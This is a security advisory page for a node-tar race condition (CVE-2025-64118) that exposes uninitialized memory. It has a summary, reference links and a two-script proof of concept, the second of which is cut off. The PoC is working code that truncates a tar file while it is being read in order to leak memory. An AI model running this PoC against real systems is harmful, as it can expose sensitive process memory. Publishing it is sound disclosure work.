CVE-2025-64118 — node-tar vulnerable to race condition leading to uninitialized memory exposure

2026-10-08T15:36:44.271766+00:00

Affected: isaacs node-tar

node-tar is a Tar for Node.js. In 7.5.1, using .t (aka .list) with { sync: true } to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read. This vulnerability is fixed in 7.5.2.

GHSA-29xp-372q-xqph — node-tar has a race condition leading to uninitialized memory exposure

2026-10-08T15:36:44.271830+00:00

Affected: npm: tar

### Summary

Using `.t` (aka `.list`) with `{ sync: true }` to read tar entry contents returns uninitialized memory contents if tar file was changed on disk to a smaller size while being read.

### Details

See: * https://github.com/isaacs/node-tar/issues/445 * https://github.com/isaacs/node-tar/pull/446 * Regression happened in https://github.com/isaacs/node-tar/commit/5330eb04bc43014f216e5c271b40d5c00d45224d

### PoC

A: ```js import * as tar from 'tar' import fs from 'node:fs'

fs.writeFileSync('tar.test.tmp', Buffer.alloc(1*1024))

// from readme const filesAdded = [] tar.c( { sync: true, file: 'tar.test.tmp.tar', onWriteEntry(entry) { // initially, it's uppercase and 0o644 console.log('adding', entry.path, entry.stat.mode.toString(8)) // make all the paths lowercase entry.path = entry.path.toLowerCase() // make the entry executable entry.stat.mode = 0o755 // in the archive, it's lowercase and 0o755 filesAdded.push([entry.path, entry.stat.mode.toString(8)]) }, }, ['./tar.test.tmp'], )

const a = fs.readFileSync('tar.test.tmp.tar')

for (let i = 0; ; i++){ if (i % 10000 === 0) console.log(i) fs.writeFileSync('tar.test.tmp.tar', a) fs.truncateSync('tar.test.tmp.tar', 600) } ```

B (vulnerable): ```js import * as tar from 'tar' import * as fs from 'fs'

while (true) { fs.readFileSync(import.meta.filename) tar.t({ sync: true, file: 'tar.test.tmp.tar', onReadEntry: e => e.on('data', b…

Most recent entries from all

CVE-2025-64118 — node-tar vulnerable to race condition leading to uninitialized memory exposure

GHSA-29xp-372q-xqph — node-tar has a race condition leading to uninitialized memory exposure